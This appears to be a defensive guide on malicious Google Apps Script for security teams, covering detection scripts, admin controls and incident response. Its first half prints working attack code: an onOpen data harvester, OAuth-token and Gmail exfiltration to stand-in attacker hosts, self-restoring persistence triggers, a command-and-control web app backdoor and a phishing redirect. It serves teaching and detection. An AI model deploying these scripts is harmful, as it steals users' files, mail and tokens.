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Google Apps Script Security: Hidden Dangers and Detection Strategies

This guide provides security professionals and MSPs with comprehensive coverage of the security risks associated with Google Apps Script, focusing on detection, prevention, and remediation strategies.

Attribution: This guide incorporates insights from the excellent HackTricks Google Apps Script Phishing Guide. We recommend reviewing the original resource for additional offensive security perspectives.

Understanding the Apps Script Threat Landscape

What Makes Apps Script Dangerous

Google Apps Script presents unique security challenges due to its powerful capabilities and integration with Google Workspace:

Native Integration
- Scripts run within Google’s infrastructure
- Direct access to user’s Google services
- Ability to interact across multiple Google products
Persistence Mechanisms
- Scripts can create time-driven triggers
- Can establish document-based triggers (onOpen, onEdit)
- Ability to deploy as web applications
Privileged Execution
- Scripts execute with the user’s permissions
- Can access sensitive data across services
- May operate with admin privileges if authorized by an administrator
Stealth Capabilities
- Scripts can be embedded in documents with minimal visibility
- No obvious indication of script execution in many cases
- Can operate silently in the background

The “Harmless Spreadsheet” Attack Vector

A particularly dangerous attack vector involves embedding malicious Apps Script in seemingly innocuous spreadsheets or documents:

Attack Scenario:

Attacker creates a legitimate-looking Google Sheet with embedded malicious script
Script is configured with an onOpen trigger to execute when document is opened
Document is shared with target users with a convincing pretext
When opened, the script executes with the user’s permissions

Malicious Activities Possible:

Exfiltrating sensitive data from the user’s Drive, Gmail, or Calendar
Creating persistence mechanisms for ongoing access
Deploying additional malicious scripts
Manipulating document sharing permissions
Establishing backdoor access to the user’s account

Technical Analysis of High-Risk Script Patterns

1. Malicious onOpen Triggers

The onOpen trigger is particularly dangerous as it executes automatically when a document is opened:

// Example of malicious onOpen trigger in a Google Sheet
function onOpen() {
  // Appears innocuous - creates a custom menu
  SpreadsheetApp.getUi()
    .createMenu('Helpful Tools')
    .addItem('Update Data', 'updateData')
    .addToUi();

  // Covert malicious function execution
  harvestUserData();
}

// The malicious function that runs silently on open
function harvestUserData() {
  // Access user's Drive files
  const files = DriveApp.getFiles();
  let sensitiveFiles = [];

  while (files.hasNext()) {
    const file = files.next();
    // Look for sensitive content
    if (file.getName().toLowerCase().includes('confidential') ||
        file.getName().toLowerCase().includes('password') ||
        file.getName().toLowerCase().includes('financial')) {
      sensitiveFiles.push({
        name: file.getName(),
        id: file.getId(),
        url: file.getUrl()
      });
    }
  }

  // Exfiltrate the data
  if (sensitiveFiles.length > 0) {
    exfiltrateData(sensitiveFiles);
  }
}

// Function to exfiltrate data
function exfiltrateData(data) {
  // Option 1: Send to attacker-controlled web service
  UrlFetchApp.fetch('https://attacker-controlled-endpoint.com/collect', {
    'method': 'post',
    'contentType': 'application/json',
    'payload': JSON.stringify(data)
  });

  // Option 2: Add attacker as viewer to sensitive files
  for (let i = 0; i < data.length; i++) {
    try {
      DriveApp.getFileById(data[i].id).addViewer('attacker@example.com');
    } catch (e) {
      // Silently fail if permission can't be added
    }
  }
}

// OAuth Token Exfiltration Example
function stealOAuthToken() {
  // Get active user and OAuth token
  var userEmail = Session.getActiveUser().getEmail();
  var oauthToken = ScriptApp.getOAuthToken();

  // Send captured token to attacker-controlled endpoint
  UrlFetchApp.fetch('https://attacker-controlled-endpoint.com/tokens', {
    'method': 'post',
    'contentType': 'application/json',
    'payload': JSON.stringify({
      'email': userEmail,
      'token': oauthToken,
      'timestamp': new Date().toISOString()
    })
  });

  // Return something innocuous to avoid suspicion
  return "Processing complete!";
}

2. Time-Based Triggers for Persistence

Time-based triggers create persistent access that continues to operate even after the user closes the document:

// Function that creates a persistent time-based trigger
function establishPersistence() {
  // Delete any existing triggers with the same function name
  // to avoid duplicate triggers
  const triggers = ScriptApp.getProjectTriggers();
  for (let i = 0; i < triggers.length; i++) {
    if (triggers[i].getHandlerFunction() === 'exfiltrateEmails') {
      ScriptApp.deleteTrigger(triggers[i]);
    }
  }

  // Create new trigger that runs every hour
  ScriptApp.newTrigger('exfiltrateEmails')
    .timeBased()
    .everyHours(1)
    .create();

  // Create another trigger that runs daily to maintain persistence
  ScriptApp.newTrigger('checkAndReestablishTriggers')
    .timeBased()
    .everyDays(1)
    .create();
}

// Function executed by the trigger
function exfiltrateEmails() {
  // Search for sensitive emails
  const threads = GmailApp.search('from:finance OR subject:confidential OR subject:password');

  // Extract email data
  let emailData = [];
  for (let i = 0; i < threads.length && i < 10; i++) {
    const messages = threads[i].getMessages();
    for (let j = 0; j < messages.length; j++) {
      const message = messages[j];
      emailData.push({
        from: message.getFrom(),
        to: message.getTo(),
        subject: message.getSubject(),
        date: message.getDate(),
        body: message.getPlainBody().substring(0, 1000) // Limit size
      });
    }
  }

  // Exfiltrate data if found
  if (emailData.length > 0) {
    UrlFetchApp.fetch('https://attacker-endpoint.com/emails', {
      'method': 'post',
      'contentType': 'application/json',
      'payload': JSON.stringify(emailData)
    });
  }
}

// Function to check and reestablish triggers if removed
function checkAndReestablishTriggers() {
  let foundExfilTrigger = false;

  // Check if our triggers still exist
  const triggers = ScriptApp.getProjectTriggers();
  for (let i = 0; i < triggers.length; i++) {
    if (triggers[i].getHandlerFunction() === 'exfiltrateEmails') {
      foundExfilTrigger = true;
      break;
    }
  }

  // If trigger was removed, recreate it
  if (!foundExfilTrigger) {
    establishPersistence();
  }
}

3. Web App Deployment for External Access

Malicious scripts can be deployed as web apps to enable external control and data access:

// Function to set up a malicious web app
function setupWebApp() {
  // This function would be manually run once to deploy the script as a web app
  // The attacker would need to authorize it with appropriate permissions
  console.log("Deploy this script as a web app with the following settings:");
  console.log("- Execute as: User accessing the web app");
  console.log("- Who has access: Anyone within [organization]");
}

// This function handles GET requests
function doGet(e) {
  // Provide an innocuous interface
  return HtmlService.createHtmlOutput('<h1>Data Processing Utility</h1><p>System is operational.</p>');
}

// This function handles POST requests - the actual backdoor
function doPost(e) {
  const request = JSON.parse(e.postData.contents);
  let response = { status: 'error', data: null };

  // Command and control functionality
  switch (request.command) {
    case 'list_files':
      response.data = listFiles(request.query || '');
      response.status = 'success';
      break;
    case 'read_file':
      response.data = readFile(request.fileId);
      response.status = 'success';
      break;
    case 'create_trigger':
      response.data = createCustomTrigger(request.functionName, request.frequency);
      response.status = 'success';
      break;
    case 'execute_function':
      response.data = executeFunction(request.functionName, request.parameters);
      response.status = 'success';
      break;
    default:
      response.data = 'Unknown command';
  }

  return ContentService.createTextOutput(JSON.stringify(response))
    .setMimeType(ContentService.MimeType.JSON);
}

// Helper functions for the backdoor
function listFiles(query) {
  // List files based on a search query
  const files = DriveApp.searchFiles(query || 'trashed=false');
  let fileList = [];

  while (files.hasNext()) {
    const file = files.next();
    fileList.push({
      id: file.getId(),
      name: file.getName(),
      type: file.getMimeType(),
      size: file.getSize(),
      url: file.getUrl(),
      dateCreated: file.getDateCreated(),
      lastUpdated: file.getLastUpdated()
    });
  }

  return fileList;
}

function readFile(fileId) {
  // Read content of a specific file
  try {
    const file = DriveApp.getFileById(fileId);
    if (file.getMimeType() === 'application/vnd.google-apps.document') {
      return DocumentApp.openById(fileId).getBody().getText();
    } else {
      // For binary files, we could convert to base64 or provide metadata
      return {
        name: file.getName(),
        size: file.getSize(),
        type: file.getMimeType(),
        cannotRead: 'Binary or unsupported file type'
      };
    }
  } catch (e) {
    return { error: e.toString() };
  }
}

// Additional backdoor functions would be implemented here

4. OAuth Token Theft via Apps Script

Scripts can be used to steal and exfiltrate OAuth tokens for persistent access:

// NOTE: This is a simplified conceptual example
// Actual implementation would depend on available exploits and vulnerabilities

function attemptTokenExtraction() {
  // This is a conceptual representation
  // Direct token extraction is not usually possible due to security measures
  // But various techniques might be attempted depending on current vulnerabilities

  try {
    // Approach 1: Attempt to access token through client-side vulnerabilities
    // Create HTML with JavaScript that attempts to extract tokens from localStorage or cookies
    const html = HtmlService.createHtmlOutput(`
      <script>
        // Attempt to extract tokens from various storage locations
        const tokens = {
          localStorage: Object.keys(localStorage)
            .filter(key => key.includes('token') || key.includes('auth'))
            .reduce((obj, key) => {
              obj[key] = localStorage.getItem(key);
              return obj;
            }, {}),
          cookies: document.cookie
        };

        // Send back to script
        google.script.run.receiveTokens(tokens);
      </script>
    `);

    // Show the HTML briefly to execute the script
    SpreadsheetApp.getUi().showModalDialog(html, 'Processing Data...');
  } catch (e) {
    console.log('Token extraction failed: ' + e.toString());
  }
}

function receiveTokens(tokenData) {
  // Exfiltrate any captured token data
  UrlFetchApp.fetch('https://attacker-endpoint.com/tokens', {
    'method': 'post',
    'contentType': 'application/json',
    'payload': JSON.stringify(tokenData)
  });
}

// Direct ScriptApp.getOAuthToken theft
function directTokenTheft() {
  // Request access to specific API scopes for more permissions
  // This will be visible during script authorization, but users often click through
  var AdminDirectory = AdminDirectory || {};  // Reference to trigger scope request
  var Gmail = Gmail || {};                   // Reference to trigger scope request
  var Drive = Drive || {};                   // Reference to trigger scope request

  try {
    // Get the OAuth token with elevated scopes
    var token = ScriptApp.getOAuthToken();
    var email = Session.getActiveUser().getEmail();

    // Exfiltrate token
    UrlFetchApp.fetch('https://attacker-endpoint.com/tokens', {
      'method': 'post',
      'contentType': 'application/json',
      'payload': JSON.stringify({
        'token': token,
        'email': email,
        'scope': 'elevated_permissions'
      })
    });

    // Can also establish persistence by creating time-based triggers
    // that continue to extract and exfiltrate tokens
    ScriptApp.newTrigger('directTokenTheft')
      .timeBased()
      .everyHours(12)  // Run every 12 hours
      .create();

    return "Processing complete!";
  } catch (e) {
    return "Error: " + e.toString();
  }
}

Detection Strategies for Malicious Apps Script

1. Administrative Audit and Controls

Implement proper administrative controls to detect and prevent malicious Apps Script:

Apps Script Project Audit:

Admin Console > Security > API Controls > Apps Script
- Review and configure Apps Script settings
- Set appropriate controls for:
  - Apps Script API access
  - Deployment of web apps and add-ons
  - Apps Script runtime access

Key Settings to Configure:

Set Google Cloud Platform (GCP) trust to Block all API access or Only allow trusted
Configure Apps Script API access appropriately
Set External user access to restrict web app accessibility

Script Project Inventory:

# Python script to inventory Apps Script projects
# Requires Apps Script API enabled and authorized
from googleapiclient.discovery import build
from oauth2client.service_account import ServiceAccountCredentials

def list_all_apps_script_projects(admin_sdk_service, drive_service):
    """Retrieve all Apps Script projects across the organization"""
    # Get all users in the organization
    users = admin_sdk_service.users().list(customer='my_customer').execute()

    all_projects = []

    for user in users.get('users', []):
        user_email = user['primaryEmail']
        try:
            # Get user's drive files that are Apps Script projects
            script_files = drive_service.files().list(
                q="mimeType='application/vnd.google-apps.script' and trashed=false",
                corpora="allDrives",
                includeItemsFromAllDrives=True,
                supportsAllDrives=True,
                fields="files(id, name, createdTime, owners, permissions, webViewLink)"
            ).execute()

            # Add to our collection with user info
            for script in script_files.get('files', []):
                script['ownerEmail'] = user_email
                all_projects.append(script)

        except Exception as e:
            print(f"Error processing {user_email}: {str(e)}")

    return all_projects

# Setup authentication
credentials = ServiceAccountCredentials.from_json_keyfile_name(
    'service-account.json',
    ['https://www.googleapis.com/auth/admin.directory.user',
     'https://www.googleapis.com/auth/drive.readonly']
)
credentials = credentials.create_delegated('admin@domain.com')

admin_service = build('admin', 'directory_v1', credentials=credentials)
drive_service = build('drive', 'v3', credentials=credentials)

# Get script projects
script_projects = list_all_apps_script_projects(admin_service, drive_service)

2. Trigger Detection and Monitoring

Implement monitoring for Apps Script triggers which are key indicators of potentially malicious activity:

Trigger Inventory Script:

// Apps Script to audit triggers across documents
// This would be deployed as an administrative tool

function auditAllTriggers() {
  // Get all spreadsheets in Drive
  const spreadsheets = DriveApp.getFilesByType(MimeType.GOOGLE_SHEETS);
  const documents = DriveApp.getFilesByType(MimeType.GOOGLE_DOCS);

  let allTriggers = [];

  // Process spreadsheets
  while (spreadsheets.hasNext()) {
    const file = spreadsheets.next();
    try {
      const ss = SpreadsheetApp.openById(file.getId());
      allTriggers = allTriggers.concat(getTriggerInfo(file, ss));
    } catch (e) {
      console.log(`Error processing spreadsheet ${file.getName()}: ${e.message}`);
    }
  }

  // Process documents
  while (documents.hasNext()) {
    const file = documents.next();
    try {
      const doc = DocumentApp.openById(file.getId());
      allTriggers = allTriggers.concat(getTriggerInfo(file, doc));
    } catch (e) {
      console.log(`Error processing document ${file.getName()}: ${e.message}`);
    }
  }

  // Output could be saved to a spreadsheet or sent via email
  const report = createTriggerReport(allTriggers);
  emailReport(report);
}

function getTriggerInfo(file, document) {
  // This would need to be run with appropriate permissions
  // and may not catch all triggers due to permission limitations
  const triggers = ScriptApp.getUserTriggers(document);

  return triggers.map(trigger => {
    return {
      fileName: file.getName(),
      fileId: file.getId(),
      fileOwner: file.getOwner().getEmail(),
      lastUpdated: file.getLastUpdated(),
      triggerType: trigger.getEventType(),
      handlerFunction: trigger.getHandlerFunction(),
      triggerSource: trigger.getTriggerSource(),
      triggerSourceId: trigger.getTriggerSourceId()
    };
  });
}

function createTriggerReport(triggers) {
  // Create a report from trigger data
  // Implementation details would depend on desired format
}

function emailReport(report) {
  // Send the report to security team
  GmailApp.sendEmail(
    'security-team@company.com',
    'Apps Script Trigger Audit Report',
    'Please see the attached report for all Apps Script triggers.',
    {
      attachments: [report]
    }
  );
}

Monitoring Suspicious Trigger Creation:

Admin Console > Reports > Audit > Apps Script
- Filter for "Create Trigger" events
- Look for:
  - Multiple triggers created in short timespan
  - Triggers created outside business hours
  - Triggers with unusual time intervals (very frequent)
  - Time-based triggers in documents from external sources

3. Telemetry Analysis for Apps Script Activity

Implement telemetry analysis to detect suspicious Apps Script behavior:

Key Telemetry Indicators:

URL Fetch Activity
- Monitor for scripts making external API calls
- Look for unusual destinations or patterns
- Track data volume in outbound requests
Service Usage Patterns
- Unusual combinations of service access (Gmail + Drive + Calendar)
- High volume of API calls to sensitive services
- Access to services unrelated to document’s purpose
Cross-User Activity
- Scripts that access multiple users’ data
- Scripts that establish triggers across multiple users
- Scripts deployed as web apps with unusual access patterns

Sample Monitoring Query:

-- Pseudocode for suspicious Apps Script telemetry analysis
SELECT script_id, user_email, service_name, method_name,
       COUNT(*) as call_count, external_domains,
       MIN(timestamp) as first_seen, MAX(timestamp) as last_seen
FROM apps_script_logs
WHERE timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
  AND (
    -- External data exfiltration indicators
    method_name = 'UrlFetchApp.fetch'
    OR
    -- Trigger creation indicators
    method_name LIKE '%createTrigger%'
    OR
    -- Suspicious service usage
    (service_name IN ('Gmail', 'Drive', 'AdminDirectory') AND
     method_name LIKE '%list%' OR method_name LIKE '%get%')
  )
GROUP BY script_id, user_email, service_name, method_name, external_domains
HAVING call_count > 10
ORDER BY call_count DESC

4. Document Analysis for Hidden Scripts

Identify potentially malicious scripts embedded in documents:

Document Scanning Script:

# Python script to scan documents for hidden scripts
# Requires Google Workspace API access

from googleapiclient.discovery import build
from oauth2client.service_account import ServiceAccountCredentials
import re

def scan_documents_for_scripts(drive_service):
    """Scan documents for embedded scripts"""
    # Get all Google Docs and Sheets
    file_types = "'application/vnd.google-apps.document','application/vnd.google-apps.spreadsheet'"
    files = drive_service.files().list(
        q=f"mimeType in [{file_types}] and trashed=false",
        fields="files(id, name, mimeType, owners, createdTime, modifiedTime)"
    ).execute()

    suspicious_files = []

    for file in files.get('files', []):
        try:
            # For each file, check if it has associated scripts
            script_links = find_associated_scripts(drive_service, file['id'], file['mimeType'])

            if script_links:
                file['associated_scripts'] = script_links
                suspicious_files.append(file)
        except Exception as e:
            print(f"Error scanning {file['name']}: {str(e)}")

    return suspicious_files

def find_associated_scripts(drive_service, file_id, mime_type):
    """Find scripts associated with a document"""
    # This is a simplified approach - actual implementation would
    # need to use document-specific APIs to find bound scripts

    # For demonstration purposes, we're using a basic check
    # A more robust solution would require additional APIs and permissions

    # Check for container-bound scripts
    linked_scripts = drive_service.files().list(
        q=f"'{file_id}' in parents and mimeType='application/vnd.google-apps.script'",
        fields="files(id, name, owners)"
    ).execute()

    return linked_scripts.get('files', [])

# Authentication setup
credentials = ServiceAccountCredentials.from_json_keyfile_name(
    'service-account.json',
    ['https://www.googleapis.com/auth/drive.readonly']
)
credentials = credentials.create_delegated('admin@domain.com')
drive_service = build('drive', 'v3', credentials=credentials)

# Scan documents
suspicious_docs = scan_documents_for_scripts(drive_service)

Risk Assessment Criteria for Document Scripts:

Document Origin:
- External sharing source
- Recently shared from outside organization
- Anonymous or unknown creator
Script Characteristics:
- Script created by different user than document owner
- Script modified after document creation
- Script with obfuscated or minimal code
Permission Requests:
- Scripts requesting unusual permissions
- Multiple services accessed by single script
- Sensitive scopes like Gmail or AdminDirectory

Prevention and Remediation Strategies

1. Apps Script Security Controls

Implement organization-wide controls to prevent malicious script execution:

Admin Console Settings:

Admin Console > Security > API Controls > Apps Script
- Set "Google Cloud Platform (GCP) trust" to "Only allow trusted"
- Configure "Apps Script API" access appropriately
- Set "External user access" to restrict web app accessibility
- Enable "Script runtime API access" control
- Configure "Apps Script add-on gallery" access

Organizational Script Policies:

Create clear policy for acceptable Apps Script development
Establish review process for production scripts
Document required security practices for script development
Implement approval workflow for scripts accessing sensitive services

2. Technical Protective Measures

Implement technical controls to reduce Apps Script risks:

Service Account Restrictions:

Admin Console > Security > API Controls > Domain-wide Delegation
- Review and restrict service accounts with domain-wide delegation
- Limit OAuth scopes available to service accounts
- Implement regular reviews of delegated access

Script Execution Controls:

Admin Console > Apps > Google Workspace > Drive and Docs > Features and Applications
- Configure "Apps Script" settings appropriately
- Consider disabling for high-security OUs

External Document Controls:

Admin Console > Apps > Google Workspace > Drive and Docs > Sharing settings
- Configure "Sharing outside of [organization]" settings
- Control "Access Checker" for shared files
- Set appropriate "File sharing" restrictions

3. User Education and Awareness

Develop education programs to help users identify risky scripts:

Key User Guidance:

Be suspicious of documents requiring immediate enabling of content
Check script authorization permissions before accepting
Verify document source and sender authenticity
Report suspicious automation or unexpected behavior
Look for warning signs like unfamiliar permission requests

Warning Signs to Communicate:

Documents requesting unusual permissions
Spreadsheets with unexpected “Loading…” or processing messages
Documents from external sources that require macro/script enabling
Files claiming to need “enhanced features” to function properly

4. Incident Response for Malicious Scripts

Develop specific incident response procedures for Apps Script compromise:

Immediate Actions:

Identify Affected Documents
- Locate all documents containing the suspicious script
- Identify document sharing scope and potentially affected users
Contain the Threat
- Remove sharing permissions from affected documents
- Disable suspected malicious scripts through Admin Console
- Block external domains used for data exfiltration
Eliminate Persistence
- Identify and remove time-based or document triggers
- Check for deployed web applications
- Review cross-document permissions and access
User Account Remediation
- Reset passwords for affected users
- Revoke suspicious OAuth tokens
- Re-enable two-factor authentication if bypassed

Investigation Procedures:

Script Analysis
- Extract and review script code for malicious functionality
- Identify data access and potential exfiltration methods
- Determine initial access vector and trigger mechanisms
Impact Assessment
- Review audit logs for accessed data
- Analyze API usage patterns for affected users
- Determine scope of data exposure or manipulation
Root Cause Analysis
- Identify how the script was introduced to the environment
- Determine if user error or security control failure enabled the attack
- Document security improvements needed to prevent recurrence

Emerging Threats and Advanced Techniques

Sandbox Escape Techniques

Advanced attackers may attempt to escape Apps Script sandboxing:

Potential Techniques:

Exploiting vulnerabilities in Apps Script runtime environment
Leveraging client-side JavaScript execution within HTML Service
Combining Apps Script with other attack vectors for privilege escalation
Exploiting trusted communications between Apps Script and Google services

Detection Focus:

Unusual combinations of Apps Script and client-side JavaScript
Scripts with minimal visible functionality but extensive HTML service usage
Excessive or unusual error patterns in script execution
Scripts accessing multiple Google services with unusual patterns

Supply Chain Risks

Be aware of supply chain risks involving third-party scripts:

Risk Scenarios:

Legitimate third-party add-ons compromised by attackers
Development tools or libraries containing malicious code
Trusted scripts modified by insider threats
Abandoned scripts acquired and weaponized by threat actors

Mitigation Strategies:

Implement vetting process for third-party scripts and add-ons
Create inventory of approved scripts and developers
Conduct periodic security reviews of third-party components
Monitor for unusual changes to previously vetted scripts

Apps Script Phishing Techniques

Malicious Redirect Web Apps

Attackers leverage Google Apps Script’s ability to deploy web applications for phishing:

// Example of a malicious Apps Script web app that redirects to a phishing site

// Standard Apps Script doGet function
function doGet(e) {
  // Extract parameters from the request
  var params = e.parameter;
  var email = params.email || '';

  // Create HTML with redirect to phishing site
  var html = HtmlService.createHtmlOutput(`
    <!DOCTYPE html>
    <html>
      <head>
        <title>Google Document</title>
        <script>
          // Redirect to phishing site with extracted parameters
          window.location.href = "https://malicious-phishing-site.com/google-login?email=${email}";
        </script>
      </head>
      <body>
        <p>Loading document, please wait...</p>
      </body>
    </html>
  `);

  // Return the HTML content
  return html;
}

Distribution Techniques:

Deploy as web app with “Anyone, even anonymous” access
Send link via email, chat, or calendar invites
Disguise link with URL shortener or in messages
Include user’s email as parameter for personalized phishing

Why This Works:

Uses legitimate script.google.com domain
Appears as Google-hosted content to users
May bypass URL filtering that trusts Google domains
Creates sense of legitimacy due to hosting on Google infrastructure

Enhanced Defense Strategies

Web App Deployment Controls

Admin Console > Security > API Controls > Apps Script
- Set "Deploy as web app" to "Off" or "Only specific users"
- Configure appropriate sharing restrictions
- Implement approval process for web app deployments

Script URL Monitoring

# Python script to detect script.google.com redirectors
def detect_apps_script_redirectors(proxy_logs):
    """Analyze proxy logs for suspicious script.google.com access"""
    suspicious_activities = []

    for log_entry in proxy_logs:
        url = log_entry.get('url', '')

        # Check for script.google.com URLs
        if 'script.google.com' in url and '/macros/' in url:
            # Extract request and referrer information
            referrer = log_entry.get('referrer', '')
            user_agent = log_entry.get('user_agent', '')
            user = log_entry.get('user', '')

            # Check if this is a suspicious pattern
            if is_suspicious_apps_script_access(url, referrer, user_agent):
                suspicious_activities.append({
                    'user': user,
                    'script_url': url,
                    'referrer': referrer,
                    'timestamp': log_entry.get('timestamp')
                })

    return suspicious_activities

def is_suspicious_apps_script_access(url, referrer, user_agent):
    """Determine if Apps Script access follows suspicious patterns"""
    # Check for URLs with unusual parameters
    if 'email=' in url or 'user=' in url or 'account=' in url:
        return True

    # Check for unusual referrers
    suspicious_referrers = ['email', 'mail', 'document', 'login', 'signin']
    if any(term in referrer.lower() for term in suspicious_referrers):
        return True

    # Check for script URLs in suspicious contexts
    if ('calendar.google.com' in referrer and 'script.google.com' in url) or \
       ('mail.google.com' in referrer and 'script.google.com' in url):
        return True

    return False

Content Security Policies
- Implement CSP rules to restrict redirects from script.google.com
- Configure proxy/firewall rules to inspect script.google.com redirects
- Deploy browser extensions that analyze redirect chains

Implementation Checklist

Immediate Security Controls

Configure Apps Script settings in Admin Console
Implement script project inventory process
Deploy trigger detection monitoring
Create user guidance for script authorization
Establish incident response procedure for script-based attacks
Configure web app deployment restrictions
Implement monitoring for Apps Script phishing techniques

Ongoing Maintenance Activities

Weekly review of new script projects and triggers
Monthly audit of external data connections from scripts
Quarterly review of Apps Script security settings
Regular user education updates on script security risks
Annual penetration testing including Apps Script attack vectors
Conduct Apps Script phishing simulations to test awareness

Resources

Note: The example code in this document is provided for educational purposes to help security professionals understand and detect malicious Apps Script patterns. All testing should be performed only in authorized environments with proper approvals.

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